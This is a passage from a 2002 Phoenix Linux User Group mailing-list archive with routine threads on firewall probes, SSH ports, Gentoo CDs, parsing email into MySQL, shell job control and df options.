-0400 Subject: code red virus? References: <3D06F5CB.84E0A50D@mindspring.com> <200206131339.49473.jon@unfm00.com> Message-ID: <3D07F3DB.F017CD4E@georgetoft.com> How did you get his number? Whois? If not, then I'm really curious. George Get it? Curious George? I know, it's tacky. Jon K wrote: > > I had this happen to me too... I had over 500 hits from some guys IIS 5.0 > server in just one day. So I found out who he was and called his house. The > man sounded a little shocked I had his number. The computer went of line > quickly. :) > > Jon > > On Wednesday 12 June 2002 07:18, User wrote: > > Lately we have noticed that our friendly firewall is taking hits from > > what seems to be Russia. At least today it seems to be Russia. > > Novoisvirsk, it seems like, according to traceroute. > > I don't know a whole lot about probes like this but am thankful to you > > folks for your guidance with regard to firewalls. > > > > Is there something that we can do with regard to this type of thing? > > Maybe, just track them down for fun. Where would be a good place to > > start reading about this sort of thing. > > > > We trace routed them throught 25 hops to 217.70.107.151 > > > > p151.rnttu.sinor.ru was the last hop on the list. > > > > Thank you > > Roger > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 02:37:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Steve Holmes) Date: Wed, 12 Jun 2002 19:37:27 -0700 Subject: SSH and Firewalls? In-Reply-To: <3D07F32B.DBB2B8E1@georgetoft.com>; from george@georgetoft.com on Wed, Jun 12, 2002 at 09:19:39PM -0400 References: <20020611070735.A1557@lnx3.holmesgrown.com> <1023888470.9454.2.camel@barney.azapple.com> <3D07F32B.DBB2B8E1@georgetoft.com> Message-ID: <20020612193722.A549@lnx3.holmesgrown.com> Just to let you all know, I got the ssh problem figured out. I had to add the custom non standard ports to the input chain - actually, the inet-in rule in my case. It now works now. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 03:48:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 12 Jun 2002 20:48:00 -0700 Subject: gentoo CD's Message-ID: <20020612204800.70b93d74.snoogans@qwest.net> was wondering if someone would be able to burn me a stage 1 ISO for gentoo and bring it to the meeting tommorow, I will reimburse for the CD :) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:10:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Wed, 12 Jun 2002 22:10:09 -0700 Subject: gentoo CD's In-Reply-To: <20020612204800.70b93d74.snoogans@qwest.net> References: <20020612204800.70b93d74.snoogans@qwest.net> Message-ID: <200206122210.13484.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 12 June 2002 20:48, robert jorgenson wrote: > was wondering if someone would be able to burn me a stage 1 ISO for gentoo > and bring it to the meeting tommorow, I will reimburse for the CD :) How about this? If I finish downloading the ISO tonight, I will burn a couple and bring them (for free even). ;-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9CCk0pNoctRtUIRQRAoVRAJsFheSR6ugsHjQd/728pQDElLkLjACfUWTe SbbjCvAIhXJbqSNbfAA7ru0= =ILyl -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:11:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 12 Jun 2002 22:11:28 -0700 Subject: Plug logo In-Reply-To: <200206121418.36425.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> <200206121418.36425.zen2now@qwest.net> Message-ID: <1023945088.3d082980d6e41@webmail.freedom2surf.net> Quoting slr : > ok i sent the png image to my graphic guy, we will refer to him from now on > as > "Austin" (the name has been changed to protect his innocence), and this was > > his response: > > this is the same .gif inside of a .png document... > > vector images are made of lines and math, keeping high quality no matter > how large or small you resize the image. > > raster images are made of many many dots or pixels of only 257 different > colors, so when you enlarge these images, they get choppy or "pixilated" You might want to look at Ewing's site http://www.isc.tamu.edu/~lewing/linux/ for a vector (EPS) of TUX. I think it would easy to remake a 300dpi logo from scratch using that, adding text (the font above and below Tux is Bauhaus93, I think), and finding some nice vector catcus artwork. The logo on the website is not of high enough resolution to go out to print. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:12:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Thu, 13 Jun 2002 01:12:30 -0400 (EDT) Subject: help In-Reply-To: <200206130000.g5D002230465@PlugList.MyButt.Net> Message-ID: whoops! sorry 'bout that... :) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:14:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Wed, 12 Jun 2002 22:14:25 -0700 Subject: gentoo CD's In-Reply-To: <20020612204800.70b93d74.snoogans@qwest.net> References: <20020612204800.70b93d74.snoogans@qwest.net> Message-ID: <200206122214.30492.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 12 June 2002 20:48, robert jorgenson wrote: > was wondering if someone would be able to burn me a stage 1 ISO for gentoo > and bring it to the meeting tommorow, I will reimburse for the CD :) I just noticed it was small. Which file do you need: gentoo-i686-1.2.iso gentoo-ix86-1.2.iso Just let me know. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9CCo1pNoctRtUIRQRAvq3AKCAzJ5Ahv1muXKuqqb79aPQ64NVFACdEgrD TWH/B9uiAzVTS7bCOj30xTI= =lnfy -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:31:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 12 Jun 2002 22:31:07 -0700 Subject: gentoo CD's In-Reply-To: <200206122214.30492.voltage_spike@fastmail.fm> References: <20020612204800.70b93d74.snoogans@qwest.net> <200206122214.30492.voltage_spike@fastmail.fm> Message-ID: <20020612223107.2c4a4891.snoogans@qwest.net> just the 16MB stage one iso for x86. And thanks alot :) On Wed, 12 Jun 2002 22:14:25 -0700 "Voltage Spike" wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Wednesday 12 June 2002 20:48, robert jorgenson wrote: > > was wondering if someone would be able to burn me a stage 1 ISO for gentoo > > and bring it to the meeting tommorow, I will reimburse for the CD :) > > I just noticed it was small. Which file do you need: > gentoo-i686-1.2.iso > gentoo-ix86-1.2.iso > > Just let me know. > > - -- > Voltage Spike > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9CCo1pNoctRtUIRQRAvq3AKCAzJ5Ahv1muXKuqqb79aPQ64NVFACdEgrD > TWH/B9uiAzVTS7bCOj30xTI= > =lnfy > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 06:49:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Wed, 12 Jun 2002 23:49:14 -0700 (MST) Subject: IT Business Expo Message-ID: Just wanted to pass this along to everyone. If you want free tickets to the upcoming annual AZ Central IT Business Expo (July 25th and 26th) please email me off-list and I'll take care of you. I've got a bunch of tickets and would like to help out some PLUG folks that want to go to the expo. No strings attached - just free tickets. :) ~Jay -- == Jay Jacobson == President - Edgeos, Inc. == Security is Critical - http://edgeos.com == Easily test your network for 975+ security threats. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 14:38:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tony Wasson) Date: Thu, 13 Jun 2002 07:38:05 -0700 Subject: Laptop Parts References: <200206022202.SAA22895@hostinworld6.com> Message-ID: <01cf01c212e7$ef400210$4a67c6d0@chelly> How big do you want your hard drive to be? I have a 4.3Gb laptop drive left over after I upgraded to a 40Gb. Tony Wasson ajwasson@inficad.com ----- Original Message ----- From: "Bryce C." To: Sent: Sunday, June 02, 2002 14:59 Subject: OT: Laptop Parts > After being on vacation for a week, I have finally returned home to find > myself reading >700 e-mails. (For those interested, it was divided about > 50/50 Junk/PLUG.) Anyway, now that I'm caught up with that, I have time > to play the the laptop I bought on vacation (yes, work is never far) and > I'm now working on scrounging parts for it. It cost about $90 and the > PCMCIA NIC $20 at a PC consignment shoppe but of course taht also means > it's been used. This is a Dell Latitude XP 4100CX laptop running a > 486DX(Yes, for real), 1.2Gb HD, 12Mb RAM, and a floppy. First thing is > first, can anyone tell me of a good place for a replacement battery > cheap. Its has been toasted (memory thing) and it really isn't all that > useful w/o a battery. I've got a couple bids on eBay but I was hoping > for something a little more immediate. Second, I'd like a larger HD for > Linux. Since it doesn't have a CD-ROM drive, I'd like to copy the > distro disks to the HD so I can install packages on the road. Can > anyone tell me of a good place for cheap, large capacity, 2.5" HDs and > possibly their price & size. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:04:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 13 Jun 2002 08:04:47 -0700 (MST) Subject: Swap Meet this Sunday 16 June Message-ID: Just the place to get whatever bits of hardware you need to build that spare system for the InstallFest on the 22nd -- Swap Meet this Sunday, 6am to 1pm, 8302 E. McDowell Rd, Scottsdale AZ http://azweb.com/troop446/ Sponsored by Boy Scout Troop 446 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:14:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 11:14:45 -0400 Subject: [PLUG-announce]East Side Meeting Tomorrow! Message-ID: Please, PLEASE remember: The subject line is wrong. The meeting is TODAY. Alan On Wed, 12 Jun 2002 14:00:20 -0400 plug-announce-admin@lists.PLUG.phoenix.az.us wrote: YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. They will be bringing stuff to giveaway too! I hope you can be there. The ususal place and time Sequoia School, 7pm Alan _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:00:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 12 Jun 2002 14:00:20 -0400 Subject: [PLUG-announce]East Side Meeting Tomorrow! Message-ID: YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. They will be bringing stuff to giveaway too! I hope you can be there. The ususal place and time Sequoia School, 7pm Alan _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:37:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (James Shaker) Date: Thu, 13 Jun 2002 08:37:35 -0700 Subject: Suggestions? Message-ID: <002101c212f0$3d6a1a90$0100000a@kilo> Hello All, I would like to use "you all" as a sounding board for a project I am working on, if that is ok? We have developed a machine that will be deployed in a few thousand locations around the US, Puerto Rico, and Bahamas. This product will be connected to a phone line and will call a linux server that we set up as a PPP dial in server. Once connected, the product will send a small email detailing production amounts and status information. The machine will also receive an email, if any, for parameter changes, etc. This all works well. Once the server receives the email I want to parse that information and put it into MySql. The status of these machines can be viewed via the web using apache and PHP4. What I would like some advice on, what is the better method of parsing the email and putting it into MySql? Its not that I don't have many options... I have too many. Procmail -> awk/sed -> PHP4 script -> MySql Perl -> MySql And many other combination of tools. I am leaning towards a Perl -> MySql solution for the simplicity; however, I want to know if anyone else has something that might be better. Perhaps Python? Thank "you all" for your time, James james@vartek-corp.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:38:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 13 Jun 2002 08:38:51 -0700 Subject: Suggestions? References: <002101c212f0$3d6a1a90$0100000a@kilo> Message-ID: <3D08BC8B.A96E002C@leml.asu.edu> James Shaker wrote: > > Hello All, > > I would like to use "you all" as a sounding board for a project I am > working on, if that is ok? > > We have developed a machine that will be deployed in a few thousand > locations around the US, Puerto Rico, and Bahamas. This product will be > connected to a phone line and will call a linux server that we set up as > a PPP dial in server. Once connected, the product will send a small > email detailing production amounts and status information. The machine > will also receive an email, if any, for parameter changes, etc. This > all works well. > > Once the server receives the email I want to parse that information and > put it into MySql. The status of these machines can be viewed via the > web using apache and PHP4. > > What I would like some advice on, what is the better method of parsing > the email and putting it into MySql? > > Its not that I don't have many options... I have too many. > > Procmail -> awk/sed -> PHP4 script -> MySql > > Perl -> MySql > > And many other combination of tools. I am leaning towards a Perl -> > MySql solution for the simplicity; however, I want to know if anyone > else has something that might be better. Perhaps Python? > > Thank "you all" for your time, well... any of thous would be good, and so would Spirit++ (a c++ template library which replaces most of the functunality of Yacc and Lex (or Bison and Flex for the GNU crowd). It is availible on sourceforge. EBo -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:03:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Thu, 13 Jun 2002 11:03:01 -0500 Subject: Suggestions? In-Reply-To: <002101c212f0$3d6a1a90$0100000a@kilo>; from james@vartek-corp.com on Thu, Jun 13, 2002 at 08:37:35AM -0700 References: <002101c212f0$3d6a1a90$0100000a@kilo> Message-ID: <20020613110301.A26829@lilly.csoft.net> I have just completed a project where I had to parse out an email message and dump it into a MySQL db. I find it hard to go wrong with Perl -> MySQL v/r Mike On Thu, Jun 13, 2002 at 08:37:35AM -0700, James Shaker wrote: Hello All, I would like to use "you all" as a sounding board for a project I am working on, if that is ok? We have developed a machine that will be deployed in a few thousand locations around the US, Puerto Rico, and Bahamas. This product will be connected to a phone line and will call a linux server that we set up as a PPP dial in server. Once connected, the product will send a small email detailing production amounts and status information. The machine will also receive an email, if any, for parameter changes, etc. This all works well. Once the server receives the email I want to parse that information and put it into MySql. The status of these machines can be viewed via the web using apache and PHP4. What I would like some advice on, what is the better method of parsing the email and putting it into MySql? Its not that I don't have many options... I have too many. Procmail -> awk/sed -> PHP4 script -> MySql Perl -> MySql And many other combination of tools. I am leaning towards a Perl -> MySql solution for the simplicity; however, I want to know if anyone else has something that might be better. Perhaps Python? Thank "you all" for your time, James james@vartek-corp.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:16:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Thu, 13 Jun 2002 09:16:35 -0700 Subject: Suggestions? References: <002101c212f0$3d6a1a90$0100000a@kilo> <20020613110301.A26829@lilly.csoft.net> Message-ID: <3D08C563.6070808@ttiltd.com> As an absolute Python biggot I would do python -> mysql Greg Mike wrote: >I have just completed a project where I had to parse >out an email message and dump it into a MySQL db. I find it hard to go wrong >with Perl -> MySQL > >v/r >Mike > >On Thu, Jun 13, 2002 at 08:37:35AM -0700, James Shaker wrote: > > Hello All, > > I would like to use "you all" as a sounding board for a project I am > working on, if that is ok? > > We have developed a machine that will be deployed in a few thousand > locations around the US, Puerto Rico, and Bahamas. This product will be > connected to a phone line and will call a linux server that we set up as > a PPP dial in server. Once connected, the product will send a small > email detailing production amounts and status information. The machine > will also receive an email, if any, for parameter changes, etc. This > all works well. > > Once the server receives the email I want to parse that information and > put it into MySql. The status of these machines can be viewed via the > web using apache and PHP4. > > What I would like some advice on, what is the better method of parsing > the email and putting it into MySql? > > Its not that I don't have many options... I have too many. > > Procmail -> awk/sed -> PHP4 script -> MySql > > Perl -> MySql > > And many other combination of tools. I am leaning towards a Perl -> > MySql solution for the simplicity; however, I want to know if anyone > else has something that might be better. Perhaps Python? > > Thank "you all" for your time, > > James > james@vartek-corp.com > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:25:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Thu, 13 Jun 2002 09:25:15 -0700 Subject: Suggestions? In-Reply-To: <002101c212f0$3d6a1a90$0100000a@kilo> References: <002101c212f0$3d6a1a90$0100000a@kilo> Message-ID: <20020613162515.GY14558@ecloud.org> I'd only suggest using XML formatting in your email and then you will be somewhat future-proof. Then use whatever language is most comfortable and has a MySQL driver; they all have XML parsers I think. Or, instead of email you could make an HTTP connection and use SOAP protocol; Apache has a SOAP layer available, but it's easy enough to write a Perl CGI or PHP script or servlet to handle SOAP as well. And it's then easy to replace the modem with a wired Internet connection later if anybody wants to do that. On Thu, Jun 13, 2002 at 08:37:35AM -0700, James Shaker wrote: > I would like to use "you all" as a sounding board for a project I am > working on, if that is ok? > > We have developed a machine that will be deployed in a few thousand > locations around the US, Puerto Rico, and Bahamas. This product will be > connected to a phone line and will call a linux server that we set up as > a PPP dial in server. Once connected, the product will send a small > email detailing production amounts and status information. The machine > will also receive an email, if any, for parameter changes, etc. This > all works well. > > Once the server receives the email I want to parse that information and > put it into MySql. The status of these machines can be viewed via the > web using apache and PHP4. > > What I would like some advice on, what is the better method of parsing > the email and putting it into MySql? > > Its not that I don't have many options... I have too many. > > Procmail -> awk/sed -> PHP4 script -> MySql > > Perl -> MySql > > And many other combination of tools. I am leaning towards a Perl -> > MySql solution for the simplicity; however, I want to know if anyone > else has something that might be better. Perhaps Python? -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:27:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 13 Jun 2002 09:27:46 -0700 (MST) Subject: Job control commands Message-ID: Thinking back to the days of RSTS-E (DEC PDP-11, the first timeshare computer I used) is there a Unix-y way to: * Completely suspend a running task - not just a low priority but totally stop it until it's later restarted * Attach a task from another terminal to the one I'm at now (I.e., I start emacs on virtual terminal 3 and I want to move it to virtual terminal 2) \\/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:35:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 13 Jun 2002 09:35:35 -0700 Subject: VRML question Message-ID: <3D08C9D7.B0E6A0EC@leml.asu.edu> I'm playing with some PD software that dumps stuff out in VRML. Can people make suggestions on VRML viewers/brousers? Is there a konquerer or Netscape plugin? Thanks, EBo -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:02:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 13 Jun 2002 10:02:29 -0700 (MST) Subject: Suggestions? In-Reply-To: <20020613110301.A26829@lilly.csoft.net> Message-ID: Mike, php works quite nicely at the command line. If you are to devote resources to the apache/php side of the project, reuse this resource on the script/command line side of the project. I do all of my data parsing with command line php scripts, very handy. Database side, I'd look at postgresql depending on the level of complexity of the schema and what is needed in terms of stored procedures. If you stick with mysql, look closely at using tables capable of transactions and rollbacks... I'd be assuming that a "jurassic park" event would occur at least once in the lifecycle of each of these systems, don't wanna loose data because the electricity failed. More or less by default, postgresql handles power failures well. So does mysql if you choose carefully. My two cents, code the email parsing side in C++, something small and fast. Parsing email in ++ isn't too difficult. - t ---------------------------------------- I have just completed a project where I had to parse out an email message and dump it into a MySQL db. I find it hard to go wrong with Perl -> MySQL v/r Mike On Thu, Jun 13, 2002 at 08:37:35AM -0700, James Shaker wrote: Hello All, I would like to use "you all" as a sounding board for a project I am working on, if that is ok? We have developed a machine that will be deployed in a few thousand locations around the US, Puerto Rico, and Bahamas. This product will be connected to a phone line and will call a linux server that we set up as a PPP dial in server. Once connected, the product will send a small email detailing production amounts and status information. The machine will also receive an email, if any, for parameter changes, etc. This all works well. Once the server receives the email I want to parse that information and put it into MySql. The status of these machines can be viewed via the web using apache and PHP4. What I would like some advice on, what is the better method of parsing the email and putting it into MySql? Its not that I don't have many options... I have too many. Procmail -> awk/sed -> PHP4 script -> MySql Perl -> MySql And many other combination of tools. I am leaning towards a Perl -> MySql solution for the simplicity; however, I want to know if anyone else has something that might be better. Perhaps Python? Thank "you all" for your time, James james@vartek-corp.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:12:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 13 Jun 2002 12:12:27 -0400 (EDT) Subject: Job control commands In-Reply-To: Message-ID: partial answer to number 1. Stop Process #488 kill -SIGSTOP 488 In Bash, restart job #4 bg %4 Note that process number is the system process number, job number is the job number in that instance of Bash. To get one from the other: In Bash, list jobs with process number: jobs -l On Thu, 13 Jun 2002, William Lindley wrote: > Thinking back to the days of RSTS-E (DEC PDP-11, the first timeshare > computer I used) is there a Unix-y way to: > > * Completely suspend a running task - not just a low priority > but totally stop it until it's later restarted > * Attach a task from another terminal to the one I'm at now > (I.e., I start emacs on virtual terminal 3 and I want to move it > to virtual terminal 2) > > \\/ > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:20:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 10:20:51 -0700 Subject: Job control commands In-Reply-To: ; from wlindley@wlindley.com on Thu, Jun 13, 2002 at 09:27:46AM -0700 References: Message-ID: <20020613102051.A2131@nadesico> On Thu, Jun 13, 2002 at 09:27:46AM -0700, William Lindley wrote: > Thinking back to the days of RSTS-E (DEC PDP-11, the first timeshare > computer I used) is there a Unix-y way to: > > * Completely suspend a running task - not just a low priority > but totally stop it until it's later restarted Sure -- do this: [foo@bar]$ emacs [1]+ Stopped emacs [foo@bar]$ _ The program that you suspended with Control-Z will remain stopped until you bring it back into the foreground (fg ), or put it into the background (bg ). A listing of jobs and their ids that are either backgrounded or stopped is available by using the jobs command. Note that this is (AFAIK) bash-only syntax. Job control is a function of the shell, not the OS. > * Attach a task from another terminal to the one I'm at now > (I.e., I start emacs on virtual terminal 3 and I want to move it > to virtual terminal 2) This, I believe, is not possible to do. Since a program actually is attached to a /dev/ptyXX or /dev/vc/XX device, the only way it may be possible is if the program itself has code to do so. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:44:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) Subject: install fest suggestion Message-ID: <20020613174452.35996.qmail@web10608.mail.yahoo.com> Hello Linux Users - I was wondering if anyone cared to give demonstrations on the proper way of compiling a Linux Kernel during the installfest (I'm looking forward to it btw). I'm starting get a 'feel' for Linux, and I've read HOW_TO's and various articles on compiling, but they're all different. I've downloaded articles from ZDNET and techrepublic as well. These articles say different things which would confuse a Linux beginner. My thinking is that some people that will show up at the intallfest are Linux 'newbies' and would jump at a chance to watch Linux users who have been doing this a while demonstrate some Linux skills. Besides Kernal compiling and basic bash commands, what else should a Linux user know? Thanks in advance -Alpha ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:44:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 13 Jun 2002 10:44:33 -0700 (MST) Subject: Job control commands In-Reply-To: Message-ID: On Thu, 13 Jun 2002, Robert Bushman wrote: > partial answer to number 1. > > Stop Process #488 > kill -SIGSTOP 488 Aha, "man 7 signal" gave me the clue to the remainder of the problem -- since I'm not necessarily the process owner (I might be 'root' on some totally other terminal) the following works: # kill -SIGSTOP 488 stops the process. If attached to a user on a terminal, will see a "stopped" message. # kill -SIGCONT 488 restarts the process. Strangely, if user types "jobs" the list will show the process as being stopped even though it is actually running. Thanks! \\/ p.s. why do the manpages say, "See signal(7)" but you have to type "man 7 signal" instead of "man signal(7)" like you'd expect? Pet peeve. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:59:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Thu, 13 Jun 2002 10:59:26 -0700 Subject: a df option question Message-ID: <15624.56702.739725.690008@bela.interhack.net> I have a couple of students using Mandrake on laptops who reported to me that df -B MB is a valid option for df on their system. They even supply output showing what it does. I've never heard of such an option in any version of Unix I've ever used. Mandrake is based on Red Hat, which uses the GNU tools for all the most standard utilities, right? Does anyone know anything about this? I'd love to see a df(1) man page off a Mandrake system. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:30:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 11:30:16 -0700 Subject: a df option question In-Reply-To: <15624.56702.739725.690008@bela.interhack.net>; from lynn.newton@cox.net on Thu, Jun 13, 2002 at 10:59:26AM -0700 References: <15624.56702.739725.690008@bela.interhack.net> Message-ID: <20020613113016.A2210@nadesico> On Thu, Jun 13, 2002 at 10:59:26AM -0700, Lynn David Newton wrote: > > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. I'm using a stock copy of GNU's fileutils on my LFS system -- df -B MB is not a valid option, and neither is just plain 'ol df -B. Mandrake or RedHat must have patched them (like they _always_ seem to do...). -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:35:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 13 Jun 2002 11:35:44 -0700 Subject: a df option question In-Reply-To: <15624.56702.739725.690008@bela.interhack.net> References: <15624.56702.739725.690008@bela.interhack.net> Message-ID: <0206131135441H.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - From a man df | more on my M8.0 system: DF(1) FSF DF(1) NAME df - report filesystem disk space usage SYNOPSIS df [OPTION]... [FILE]... DESCRIPTION This manual page documents the GNU version of df. df dis­ plays the amount of disk space available on the filesystem containing each file name argument. If no file name is given, the space available on all currently mounted filesystems is shown. Disk space is shown in 1K blocks by default, unless the environment variable POSIXLY_CORRECT is set, in which case 512-byte blocks are used. If an argument is the absolute file name of a disk device node containing a mounted 